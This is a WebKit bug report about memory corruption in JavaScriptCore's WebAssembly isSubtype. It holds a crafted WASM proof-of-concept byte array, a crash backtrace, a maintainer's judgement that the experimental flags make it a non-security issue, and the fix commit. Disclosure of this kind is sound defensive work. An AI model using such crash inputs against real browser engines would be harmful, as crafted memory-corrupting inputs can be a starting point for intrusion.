Bug 254412 – [WASM] Memory Corruption in JSC::Wasm::isSubtype

• Component: JavaScriptCore
• Status: RESOLVED FIXED

[CAO ZONG]

Commit: cebd0f9727d7493fbbea4ebf321799bc0152642e
Build:  Release
Flag:   --useSinglePassBBQJIT=true 
        --useWebAssemblyTypedFunctionReferences=true 
        --useWebAssemblyGC=true

Poc:
```
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,222,128,128,128,0,5,80,0,95,4,124,0,112,0,126,0,126,0,80,0,96,3,127,127,127,1,127,96,0,0,80,0,96,1,107,1,15,107,0,107,0,125,107,0,107,0,107,0,107,0,107,0,107,0,107,0,107,0,107,0,107,0,107,0,126,80,0,96,15,107,0,107,0,125,107,0,107,0,107,0,107,0,107,0,107,0,107,0,107,0,107,0,107,0,107,0,126,1,127,3,130,128,128,128,0,1,1,4,133,128,128,128,0,1,112,1,1,8,5,132,128,128,128,0,1,1,16,32,13,131,128,128,128,0,1,0,2,7,136,128,128,128,0,1,4,109,97,105,110,0,0,9,139,128,128,128,0,1,6,0,65,0,11,112,1,210,0,11,10,179,132,128,128,0,1,176,4,0,210,0,65,212,0,253,15,65,226,0,253,109,253,126,253,126,253,126,253,126,253,195,1,4,3,26,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,67,0,0,0,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,2,107,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,11,65,226,196,137,147,6,253,15,253,126,65,226,196,137,3,253,15,253,195,1,253,109,253,29,0,5,26,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,67,0,0,0,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,68,0,0,0,0,0,0,0,0,208,112,66,0,66,0,251,7,0,66,0,11,2,4,26,26,26,26,26,26,26,26,26,26,26,26,26,26,26,65,0,11,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var f = wasm_instance.exports.main;
f();
```

Backtrace:
#0  0x0000555556b8e4dc in JSC::Wasm::TypeDefinition::unroll() const ()
#1  0x0000555556b8e936 in JSC::Wasm::TypeDefinition::expand() const ()
#2  0x0000555556a3c2a3 in JSC::Wasm::isSubtype(JSC::Wasm::Type, JSC::Wasm::Type) ()
#3  0x0000555556b0253e in JSC::Wasm::FunctionParser<JSC::Wasm::LLIntGenerator>::unify(JSC::Wasm::LLIntGenerator::ControlType const&) ()
#4  0x0000555556af0095 in JSC::Wasm::FunctionParser<JSC::Wasm::LLIntGenerator>::parseExpression() ()
#5  0x0000555556ae825b in JSC::Wasm::FunctionParser<JSC::Wasm::LLIntGenerator>::parseBody() ()
#6  0x0000555556ae309f in JSC::Wasm::FunctionParser<JSC::Wasm::LLIntGenerator>::parse() ()
#7  0x0000555556ad1f72 in JSC::Wasm::parseAndCompileBytecode(unsigned char const*, unsigned long, JSC::Wasm::TypeDefinition const&, JSC::Wasm::ModuleInformation&, unsigned int) ()
#8  0x0000555556adfceb in JSC::Wasm::LLIntPlan::compileFunction(unsigned int) ()
#9  0x0000555556acddf0 in JSC::Wasm::EntryPlan::compileFunctions(JSC::Wasm::Plan::CompilationEffort) ()
#10 0x0000555556b95272 in JSC::Wasm::Worklist::Thread::work() ()
#11 0x0000555556c4afa3 in WTF::Detail::CallableWrapper<WTF::AutomaticThread::start(WTF::AbstractLocker const&)::$_0, void>::call() ()
#12 0x0000555556c6c1ef in WTF::Thread::entryPoint(WTF::Thread::NewThreadContext*) ()
#13 0x0000555556cc71d6 in WTF::wtfThreadEntryPoint(void*) ()
#14 0x00007ffff5fd9609 in start_thread () from /lib/x86_64-linux-gnu/libpthread.so.0
#15 0x00007ffff5ba6133 in clone () from /lib/x86_64-linux-gnu/libc.so.6

[Radar WebKit Bug Importer]

<rdar://problem/107184256>

[Yusuke Suzuki]

> --useWebAssemblyTypedFunctionReferences=true


This is not implemented fully & not enabled. So, this is not a security issue.

[Yusuke Suzuki]

Also, --useWebAssemblyGC=true is not implemented fully and not enabled.

[Asumu Takikawa]

Pull request: https://github.com/WebKit/WebKit/pull/23334

[EWS]

Committed 273794@main (7b11aad047b2): <https://commits.webkit.org/273794@main>

Reviewed commits have been landed. Closing PR #23334 and removing active labels.